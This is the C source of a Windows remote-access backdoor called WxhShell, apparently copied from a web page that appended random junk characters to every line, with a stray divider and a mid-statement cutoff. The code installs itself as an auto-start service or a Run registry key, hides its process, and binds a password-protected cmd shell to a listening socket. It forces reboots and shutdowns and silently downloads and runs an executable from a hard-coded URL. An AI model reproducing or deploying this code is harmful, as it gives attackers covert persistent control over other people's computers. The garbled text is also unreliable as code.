    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :r%P.60H X  
    if(Boot(SHUTDOWN)) "vXxv'0\f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tg!i%v(-t  
    else { xG}(5Tt  
    closesocket(wsh); Fp@TCPe#  
    ExitThread(0); 6^uq?  
    } T^:UBjK6t{  
    break; &f!z1d-qg?  
    } D-8O+.@  
  // 获取shell %TX@I$Ba  
  case 's': { g$HwxA9Gp/  
    CmdShell(wsh); .}'qUPNR  
    closesocket(wsh); &F\?  
    ExitThread(0); Em?d*z  
    break; UQ'\7OS  
  } eK.e| z|  
  // 退出 j2Tr $gx<  
  case 'x': { >"gf3rioW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W4[V}s5u  
    CloseIt(wsh); Se HagKA  
    break; 9l}FU$  
    } t0z!DOODZP  
  // 离开 ~ (x;5{  
  case 'q': { [`p=(/I&L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); MxWy*|J}  
    closesocket(wsh); bSsh^Z  
    WSACleanup(); q2. XoCf  
    exit(1); ?z}=B  
    break; hZh9uI7.  
        } ^[]}R:  
  } #Xhdn\7  
  } P/xKnm~  
R16'?,  
  // 提示信息 $wmvKQc{lx  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uIcn{RZ_z  
} A'G66ei  
  } " Om[~-31  
)_mr! z(S  
  return; @Gx.q&H  
} 1c<=A!"{  
m<{< s T  
// shell模块句柄 .jS~By|r  
int CmdShell(SOCKET sock) #k_HN}B  
{ $Z|ffc1  
STARTUPINFO si; ~\=1'D^6CK  
ZeroMemory(&si,sizeof(si)); 7:9.&W/KE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L!=4N!j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; _7IKzUn9g[  
PROCESS_INFORMATION ProcessInfo; A/s>PhxV  
char cmdline[]="cmd"; M7+nW ; e%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ul2R'"FB  
  return 0; ._8KsuJG  
} A]YV s  
\]P!.}nX#  
// 自身启动模式 _Dym{!t  
int StartFromService(void) A$#p%y b  
{ 6fd+Q  /  
typedef struct xZ|Y ?R5m  
{ GytXFL3`:  
  DWORD ExitStatus; 1U^A56CN  
  DWORD PebBaseAddress; YhOlxON  
  DWORD AffinityMask; WA]c=4S  
  DWORD BasePriority; ]Tkc-ez  
  ULONG UniqueProcessId; GDu~d<RH  
  ULONG InheritedFromUniqueProcessId; 2R=DB`3  
}   PROCESS_BASIC_INFORMATION; [|P!{?A43|  
A;/-u<f  
PROCNTQSIP NtQueryInformationProcess; vw>2(K=e1  
'|S%a MLZ)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w=j  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  Np'2}6P  
1QmH{jM  
  HANDLE             hProcess; T.Ryy"%F  
  PROCESS_BASIC_INFORMATION pbi; U>V&-kxtV  
>=UF-xk;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'd+N Vj{C  
  if(NULL == hInst ) return 0; MS0Fl|YA  
dFH$l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Fx5d:!]:$?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); kGdt1N[  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X5X?&* %{  
OH5>vV 'i  
  if (!NtQueryInformationProcess) return 0; Lb;zBmwB  
N@O8\oQG  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p"l3e9&'j  
  if(!hProcess) return 0; 3l3+A+ n  
@;<ht c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; jV? }9L^;  
7<%<Ff@^)O  
  CloseHandle(hProcess); U f|> (C  
.C2TQ:B,.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kGd<5vCs  
if(hProcess==NULL) return 0; fO0(Z  
F1jglH/MF)  
HMODULE hMod; +n<k)E@>J  
char procName[255]; ]%BWIqbr  
unsigned long cbNeeded; dxZu2&gi  
Ix(?fO#uNF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gm9hYhC8  
v2H#=E4cZ#  
  CloseHandle(hProcess); TF 'U  
<$F\Nk|x  
if(strstr(procName,"services")) return 1; // 以服务启动 yY[<0|o u  
cx}Q2S  
  return 0; // 注册表启动 P( XaTU&-  
} s3]?8hXd  
-1ce<nN  
// 主模块 ,WvY$_#xW%  
int StartWxhshell(LPSTR lpCmdLine) <Q ?a=4  
{ oP!;\a( SL  
  SOCKET wsl; -O&CI)`;B  
BOOL val=TRUE; E2cB U{x  
  int port=0; oS7(s  
  struct sockaddr_in door; \3'9Uz,OC  
aX~%5 mF  
  if(wscfg.ws_autoins) Install(); AX= 1b,s  
3t<a $i  
port=atoi(lpCmdLine); AJSx%?h:6  
qTAc[Ko  
if(port<=0) port=wscfg.ws_port; ~mO62(8m  
ep=qf/vd<  
  WSADATA data; ~=KJzOS,S  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0pJ ":Q/2)  
ZTU&, 1Y;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   F B?UZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;Ra+=z}>  
  door.sin_family = AF_INET; _R.B[\r@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8F:e|\SB#  
  door.sin_port = htons(port); HcedE3Rg  
6_d.Yfbq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { wKi^C 8Z2  
closesocket(wsl); u1z  
return 1; I!>\#K  
} {X[ HCfJd  
Ux#x#N  
  if(listen(wsl,2) == INVALID_SOCKET) { Qt,M!i,  
closesocket(wsl); HAv{R!*  
return 1; "=6v&G]U4  
} E\IlF 6  
  Wxhshell(wsl); !'j?.F $}  
  WSACleanup(); K-f1{ 0  
`;l?12|X  
return 0; WdZ:K,  
m}8[#:  
} >~`r:0',  
%e`$p=m  
// 以NT服务方式启动 5Q 'i2*j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zfwS  
{ &BtK($  
DWORD   status = 0; N.4q.  
  DWORD   specificError = 0xfffffff; 549jWG  
#fJ] o_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Xe#K{gA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (`6T&>(4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9elga"4:'  
  serviceStatus.dwWin32ExitCode     = 0; OKi\zS  
  serviceStatus.dwServiceSpecificExitCode = 0; vTaJqEE  
  serviceStatus.dwCheckPoint       = 0; 'Fs)Rx}\0  
  serviceStatus.dwWaitHint       = 0; KAsS [  
*1 G>YH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p_UlK8rb  
  if (hServiceStatusHandle==0) return; @&]#uRl|[  
<L{(Mj%Z  
status = GetLastError(); _=q! BW  
  if (status!=NO_ERROR) wtT}V=_  
{ &z]K\-xp  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lip[n;Ir>  
    serviceStatus.dwCheckPoint       = 0; 8[|UgI,>z  
    serviceStatus.dwWaitHint       = 0; 4n %?YQ[t  
    serviceStatus.dwWin32ExitCode     = status; kKPi:G52F  
    serviceStatus.dwServiceSpecificExitCode = specificError; W`"uu.~f  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +uBLk0/)>  
    return; 2_ :n  
  } M;0]u.D*=  
fZxIY,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n.sbr  
  serviceStatus.dwCheckPoint       = 0; fM #7y [  
  serviceStatus.dwWaitHint       = 0; UG'bOF4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Wm H~m k"  
} F  q!fWl  
y!5$/`AF  
// 处理NT服务事件,比如:启动、停止 (ewe"N+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kPQtQh]y%  
{ $5v0m#[^  
switch(fdwControl) dJv!Dts')C  
{ 'S2bp4G  
case SERVICE_CONTROL_STOP: K"u NxZ  
  serviceStatus.dwWin32ExitCode = 0; ->h6j  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ? tfT8$  
  serviceStatus.dwCheckPoint   = 0; cgb2K$B_"  
  serviceStatus.dwWaitHint     = 0; uZZU{U9h  
  { 7},)]da>,'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); w=|GJ 0  
  } _:+ KMR  
  return; ;SwMu@tg  
case SERVICE_CONTROL_PAUSE: -QyhwG =  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; CiR%Ujf  
  break; U`o^mtW.  
case SERVICE_CONTROL_CONTINUE: LGc&o]k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~>0qZ{3J_  
  break; Hg9CZM ko  
case SERVICE_CONTROL_INTERROGATE: _BFOc>0  
  break; Dw7vv]+ S  
}; kNT}dv]<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VyRsPg[(  
} v4RlLg dS%  
x+]!m/  
// 标准应用程序主函数 BC,.^"fA6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t+?P^Ok  
{ .XkMk|t8  
lQfL3`X!  
// 获取操作系统版本 .>wv\i [p  
OsIsNt=GetOsVer(); =?h~.lo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7 Sa1;%R  
}|B=h  
  // 从命令行安装 2"fO6!hh  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^'p|!`:  
A~Xq,BxCV  
  // 下载执行文件 zZiJ 9 e  
if(wscfg.ws_downexe) { m=Q[\.Ra  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <*t4D-os  
  WinExec(wscfg.ws_filenam,SW_HIDE); aF|d^  
} `z0{S!  
XE3'`D !  
if(!OsIsNt) { ,Rx{yf]k  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?0_7?yTR/  
HideProc(); .bVmqR`  
StartWxhshell(lpCmdLine); IScRsxFb  
} w#N?l!5  
else -o+74=E8[?  
  if(StartFromService()) =pA IvU  
  // 以服务方式启动 ^E6d`2w-  
  StartServiceCtrlDispatcher(DispatchTable); },5'z {3E  
else LkLN7|  
  // 普通方式启动 - }!H3]tr  
  StartWxhshell(lpCmdLine); O)kg B rB  
!;6Jng%  
return 0; "xAWG$b  
} :K?0e `  
Z?J:$of*  
y fSM  
WZ!WxX>zO  
=========================================== - O"i3>C  
yAL1O94  
wh:1PP  
VR!-%H\AW  
51# "3S  
&x-TW,#Ks  
" ~|wos-nM  
i)Lp7m z  
#include <stdio.h> [!^-J}^g~\  
#include <string.h> V@d )?T  
#include <windows.h> PuxK?bwC  
#include <winsock2.h> k>E`s<3  
#include <winsvc.h> eQO#Qso]  
#include <urlmon.h> s7r9,8$  
x'Pi5NRE  
#pragma comment (lib, "Ws2_32.lib") l{ex?  
#pragma comment (lib, "urlmon.lib") M}0eu(_|  
M,3wmW&d6  
#define MAX_USER   100 // 最大客户端连接数 FFEfp.T1M  
#define BUF_SOCK   200 // sock buffer hNXBVIL<&  
#define KEY_BUFF   255 // 输入 buffer W9t"aZor  
ha;l(U>  
#define REBOOT     0   // 重启 "Lh  
#define SHUTDOWN   1   // 关机 Gjz[1d  
Sd IX-k.  
#define DEF_PORT   5000 // 监听端口 }.)s%4p8  
cgC\mM4Nla  
#define REG_LEN     16   // 注册表键长度 #JA}3]  
#define SVC_LEN     80   // NT服务名长度 `\<37E\N}  
o2-@o= F  
// 从dll定义API ;r=b|B9c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); b'ml=a#i 0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V 'X;jC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :L0/V~D  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Lc<eRVNd,  
oUx[+Gnv  
// wxhshell配置信息 ^IgY d*5  
struct WSCFG { jnu Y{0(&  
  int ws_port;         // 监听端口 [ neXFp}S  
  char ws_passstr[REG_LEN]; // 口令 ~un%4]U  
  int ws_autoins;       // 安装标记, 1=yes 0=no tLm867`c7  
  char ws_regname[REG_LEN]; // 注册表键名 r^HA aGpC  
  char ws_svcname[REG_LEN]; // 服务名 [O-sVYB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5 waw`F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,]Zp+>{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }8'&r(cN4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |0bc$ZY:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %Hi~aRz  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |!d"*.Q@F  
=A[5= k>  
}; tPHS98y  
1'6cGpZY  
// default Wxhshell configuration *!:QdWLq  
struct WSCFG wscfg={DEF_PORT, -%IcYzyA  
    "xuhuanlingzhe", 7Tf]:4Y"  
    1, q}L+/+b  
    "Wxhshell", m:`@?n~..  
    "Wxhshell", K&A;Z>l,v5  
            "WxhShell Service", 77gysd\(  
    "Wrsky Windows CmdShell Service", TUp%FJXA|  
    "Please Input Your Password: ", 3Rl,GWK  
  1, ned2lC&'d>  
  "http://www.wrsky.com/wxhshell.exe", 5 HV)[us  
  "Wxhshell.exe" ,:v&4x&=  
    }; OQlG+|  
KA]*ox6j;  
// 消息定义模块 yno('1B@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; oB c@]T5>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; e[Xq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KSs1CF'i  
char *msg_ws_ext="\n\rExit."; m8R=?U~!S  
char *msg_ws_end="\n\rQuit."; 4cCF \&yU  
char *msg_ws_boot="\n\rReboot..."; }dSFAKI2dM  
char *msg_ws_poff="\n\rShutdown..."; j!#O G  
char *msg_ws_down="\n\rSave to "; CfT/R/L  
f1{z~i9@$  
char *msg_ws_err="\n\rErr!"; H*e'Cs/  
char *msg_ws_ok="\n\rOK!"; =N.!k Vkl  
^!: "Q3  
char ExeFile[MAX_PATH]; MW Wu@SY  
int nUser = 0; Ar, 9U9  
HANDLE handles[MAX_USER]; va{#RnU  
int OsIsNt; o96:4j4  
?Z %:  
SERVICE_STATUS       serviceStatus; p5 ]_}I`+2  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BQgoVnQo_c  
&m{'nRU}c  
// 函数声明 8KjRCm,I  
int Install(void); )3?rXsSR  
int Uninstall(void); ysXx%k  
int DownloadFile(char *sURL, SOCKET wsh); B0mLI%B  
int Boot(int flag); gb-{2p>}  
void HideProc(void); AO 0!liQ  
int GetOsVer(void); @ Gjny BJ  
int Wxhshell(SOCKET wsl); X, fu!  
void TalkWithClient(void *cs); A[/I#Im7  
int CmdShell(SOCKET sock); }VRv sZ  
int StartFromService(void); 9zKBO* p`  
int StartWxhshell(LPSTR lpCmdLine); O+ .*lo  
QocQowz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D$Kea  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W3pQ?  
#V 43=  
// 数据结构和表定义 gT1P*N;v  
SERVICE_TABLE_ENTRY DispatchTable[] = |'hLa  
{ "G?9b  
{wscfg.ws_svcname, NTServiceMain}, oh}^?p  
{NULL, NULL} - @bp4Z=  
}; a5wDm  
M'jXve(=yF  
// 自我安装 9R]](g#  
int Install(void) $iMC/Kym  
{ ku.A|+Tn  
  char svExeFile[MAX_PATH]; ,ECAan/@  
  HKEY key; .gD km^  
  strcpy(svExeFile,ExeFile); Enj_tJs  
.|]IwyD &  
// 如果是win9x系统,修改注册表设为自启动 $B _Nc*_e  
if(!OsIsNt) { SPwPCI1?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fGu!M9qN4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f$D@*33ft  
  RegCloseKey(key); e@ oWwhpE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .LE+/n  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .H;B=nd*  
  RegCloseKey(key); %!W%#U0  
  return 0; X8 qIia  
    } T_ ^C#>  
  } R^{xwI  
} cC6z,0`3  
else { eqFvrESN~=  
z}APR@?`n8  
// 如果是NT以上系统,安装为系统服务 :EB,{|m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); mTjm92  
if (schSCManager!=0) b(T@~P/  
{  X4I]9 t\  
  SC_HANDLE schService = CreateService xXOw:A'  
  ( s-6:N9-  
  schSCManager, jH0Bo;  
  wscfg.ws_svcname, 1xC`ZhjcD  
  wscfg.ws_svcdisp, J:};n@<  
  SERVICE_ALL_ACCESS, ~%P3Pp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e[4V%h  
  SERVICE_AUTO_START, Yo'K pdn  
  SERVICE_ERROR_NORMAL, (T;9us0  
  svExeFile, 1ih*gJPpj  
  NULL, R+Lk~X^*l'  
  NULL, >l2w::l%  
  NULL, JK^[{1 JI  
  NULL, Kq7C0)23  
  NULL $^$ECDOTB  
  ); HDj$"pS  
  if (schService!=0) U"x~Jb3]O  
  { -3k;u  
  CloseServiceHandle(schService); 6Q$BUL}2?  
  CloseServiceHandle(schSCManager); H-a^BZ&iU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r<_2qICgP  
  strcat(svExeFile,wscfg.ws_svcname); x u,htx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [Yvsa,2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !aeNq82  
  RegCloseKey(key); eBvW#Hzp  
  return 0; kH2oK:lN  
    } m<FK;   
  } [d:@1yc  
  CloseServiceHandle(schSCManager); 4WG=m}X  
} #Q+R%p  
} 0x#E4v (UA  
5mIXyg 0:  
return 1; sY^lQN  
} Bm<^rhJ9  
9l l|JeNi  
// 自我卸载 J0qXtr%h\  
int Uninstall(void) V/&o]b   
{ /s8/q2:  
  HKEY key; MCd F!{  
i* gKtjx  
if(!OsIsNt) { "aA_(Ydzj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :B^mV{~  
  RegDeleteValue(key,wscfg.ws_regname); `vX4! @Tw  
  RegCloseKey(key); z"qv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w`-$-4i  
  RegDeleteValue(key,wscfg.ws_regname); 6`W|V+6|7  
  RegCloseKey(key); qZ?{-Vw  
  return 0; TK %< a/  
  } %^U"Spv;  
} "uS7PplyO  
} EqQ3=XMUL@  
else { xXPUrv5zO  
X#7}c5^Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PvuAg(?  
if (schSCManager!=0) *k [kV  
{ _Z.;u0Zp8  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); khS/'b  
  if (schService!=0) /x O{ .dr  
  { Vku#;:yUb^  
  if(DeleteService(schService)!=0) { Un\Ubqi0  
  CloseServiceHandle(schService); \gP. \  
  CloseServiceHandle(schSCManager); /pU|ZA.z'2  
  return 0; i\vpGlx  
  } 1W0.Ufl)  
  CloseServiceHandle(schService); sSy$(%  
  } \Nyr=<c  
  CloseServiceHandle(schSCManager); AtT"RG-6  
} 9nO(xJ"e4  
} 'tut4SwC  
:r-.r"[m-  
return 1; H}a)^90_  
}  )Oo2<:"  
D2V v\f  
// 从指定url下载文件 pd7O`.3  
int DownloadFile(char *sURL, SOCKET wsh) t#{x?cF  
{ " Ac~2<V  
  HRESULT hr; ;9vIa7L&  
char seps[]= "/"; qkiJ HT  
char *token; k_BSY=$e*D  
char *file; 3Mxz_~  
char myURL[MAX_PATH]; q>P[nz%  
char myFILE[MAX_PATH]; S_j1=6 #^  
!6{J q]  
strcpy(myURL,sURL); )kF2HF  
  token=strtok(myURL,seps); 5U3qr*/;m  
  while(token!=NULL) J+0/ :00(  
  { )FV6,  
    file=token; 1O23"o5=  
  token=strtok(NULL,seps); s9G)Bd 8  
  } oFb\T iLu  
&b!vWX1N  
GetCurrentDirectory(MAX_PATH,myFILE); L2<+#O#  
strcat(myFILE, "\\"); C)U #T)  
strcat(myFILE, file); A3<^ U  
  send(wsh,myFILE,strlen(myFILE),0); Xn PJC'  
send(wsh,"...",3,0); =>e?l8`%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'Z59<Ya&x  
  if(hr==S_OK) \4/:^T}*  
return 0; gu^_iU  
else sD2*x T  
return 1; :wSJ-\'$  
x<Iy<v7-  
} An/>0 5|  
9}.,2JE  
// 系统电源模块 j6RJC  
int Boot(int flag) Lblet  
{ J-b~4  
  HANDLE hToken; %l%=Dkss  
  TOKEN_PRIVILEGES tkp; 6W]OpM  
QN3 qF|))  
  if(OsIsNt) { \)p4okpR  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^4RO  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "OVi /:*B  
    tkp.PrivilegeCount = 1; 0 -!?W  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `S5>0r5[  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g%+ql[(4  
if(flag==REBOOT) { ,eyp$^2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V/@[%w=  
  return 0; fYb KmB  
} <=$rU232}  
else { SgyqmYTvZw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =.VepX|?D  
  return 0; E1^aAlVSD  
} (_s;aK  
  } B,r5kQI4  
  else { V[4(~,9  
if(flag==REBOOT) { KSF5)CZ5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) G% o7BX  
  return 0; BvSdp6z9Iv  
} \)uy"+ Z`  
else { 7E;>E9 '  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Dp%5$wF)8  
  return 0; W]} #\\$z  
} u):X>??  
} 9)#gtDM%J  
XCW+ pUX  
return 1; ( P  
} v!nm &"  
N-]\oMc2  
// win9x进程隐藏模块 N9`y,Cos0  
void HideProc(void) #"=%b e3  
{ "1_{c *ck  
q2[+-B)m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >oVc5}  
  if ( hKernel != NULL ) zC<'fT/rG  
  { M|1eqR%x-?  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); N5[_a/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~l;yr @  
    FreeLibrary(hKernel); zfM<x,XdY  
  } ( K^YD K  
Ti0 (VdY  
return; ac2}3 $u  
} N;e;4,_ n  
rdORNlK&  
// 获取操作系统版本 s 4MNVT  
int GetOsVer(void) 'hxs((['\  
{ (3)C_Z  
  OSVERSIONINFO winfo; QBg}2.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -fb1cv~N  
  GetVersionEx(&winfo); B)( p9]q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nwZ[Ygl|  
  return 1; c2tEz&=G  
  else ~r(g|?}P  
  return 0; _bN))9 3  
} <1ztj#B  
!O 0ZD4/{4  
// 客户端句柄模块 34"{rMbQ  
int Wxhshell(SOCKET wsl) ?q+8 /2  
{ :7HVBH  
  SOCKET wsh; ~Da >{zHt  
  struct sockaddr_in client; '?&B5C  
  DWORD myID; jrDz7AfA  
rU/-Wq`B  
  while(nUser<MAX_USER) 4v rm&k  
{ #R~">g:w  
  int nSize=sizeof(client); g_3rEvf"4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); O JZ!|J8?  
  if(wsh==INVALID_SOCKET) return 1; pkrl@ jv >  
e_fg s>o`(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); },?-$eyX  
if(handles[nUser]==0) 'US:Mr3  
  closesocket(wsh); aRFi0h \  
else ucIVVT(u  
  nUser++; T{5M1r  
  } 31 KDeFg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ri^sQ<~(  
nOA ,x  
  return 0; YHwVj?6W  
} BDv|~NHs  
eZa3K3^  
// 关闭 socket &4ug3  
void CloseIt(SOCKET wsh) !?tu! M<1?  
{ $i1>?pb3  
closesocket(wsh); Hl4vLx@  
nUser--; &F@tmM~  
ExitThread(0); '=@-aVp  
} _*OaiEL+:  
*@b~f&Lx6  
// 客户端请求句柄 hW*^1%1  
void TalkWithClient(void *cs) `Gy>tD.#V-  
{ XnNOj>!  
Z_eqM4{  
  SOCKET wsh=(SOCKET)cs; Mt7X<?GZm  
  char pwd[SVC_LEN]; #R"9)vHp  
  char cmd[KEY_BUFF]; ]5qjK~,4b  
char chr[1]; brp N >\  
int i,j; [A.eVuV;+  
Rx_,J%0Fq  
  while (nUser < MAX_USER) { QjW~6Z.tI  
*YiD B?Si  
if(wscfg.ws_passstr) { H4K(SGx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m\R@.jkZ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (o6A?37i  
  //ZeroMemory(pwd,KEY_BUFF); Q!BkS=H30K  
      i=0; Q@3ld6y  
  while(i<SVC_LEN) { AOvH&9**  
Z.cG`Km*  
  // 设置超时 3!ajvSOI9j  
  fd_set FdRead; bOnukbJ  
  struct timeval TimeOut; j,gM+4V^  
  FD_ZERO(&FdRead); 7+A-7ci  
  FD_SET(wsh,&FdRead); _S%OX_UMn^  
  TimeOut.tv_sec=8; \k$]GK-  
  TimeOut.tv_usec=0; .PA ?N{z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); -Y!=Iw 4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); dxae2 t V  
)nbyV a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z;dwn~Tw  
  pwd=chr[0]; rsq'60  
  if(chr[0]==0xd || chr[0]==0xa) { H7cRWB  
  pwd=0; NZi'eZ{^`  
  break; l ")o!N?  
  } Nt,]00S\w  
  i++; Q>+_W2~]  
    } hH|XtQ.n^  
s]V{}bY`  
  // 如果是非法用户,关闭 socket $yxIE}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CO6XIgTe  
} zL[U;  
S4uR \|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #q^>qX y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sov62wuqU  
,M9hb<:m  
while(1) { ,_4 KyLfBF  
+$pO  
  ZeroMemory(cmd,KEY_BUFF); O+3D 5*  
(t"YoWA#m  
      // 自动支持客户端 telnet标准   PHB\)/  
  j=0; *< SU_dAh  
  while(j<KEY_BUFF) { N]<~NG:6b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); F0o18k_"  
  cmd[j]=chr[0]; Ov{B-zCA  
  if(chr[0]==0xa || chr[0]==0xd) { y|2g"J  
  cmd[j]=0; iR4,$Nn>  
  break; R.n`R|NOd  
  } 5Dh&ez`oR'  
  j++; $(<*pU  
    } -^SD6l$  
)I0g&e^Tzy  
  // 下载文件 b "AHw?5F  
  if(strstr(cmd,"http://")) { ~A{[=v  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u{y5'cJ{  
  if(DownloadFile(cmd,wsh)) {3 yws 4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RWEgUDX^/  
  else lf7H8k,-  
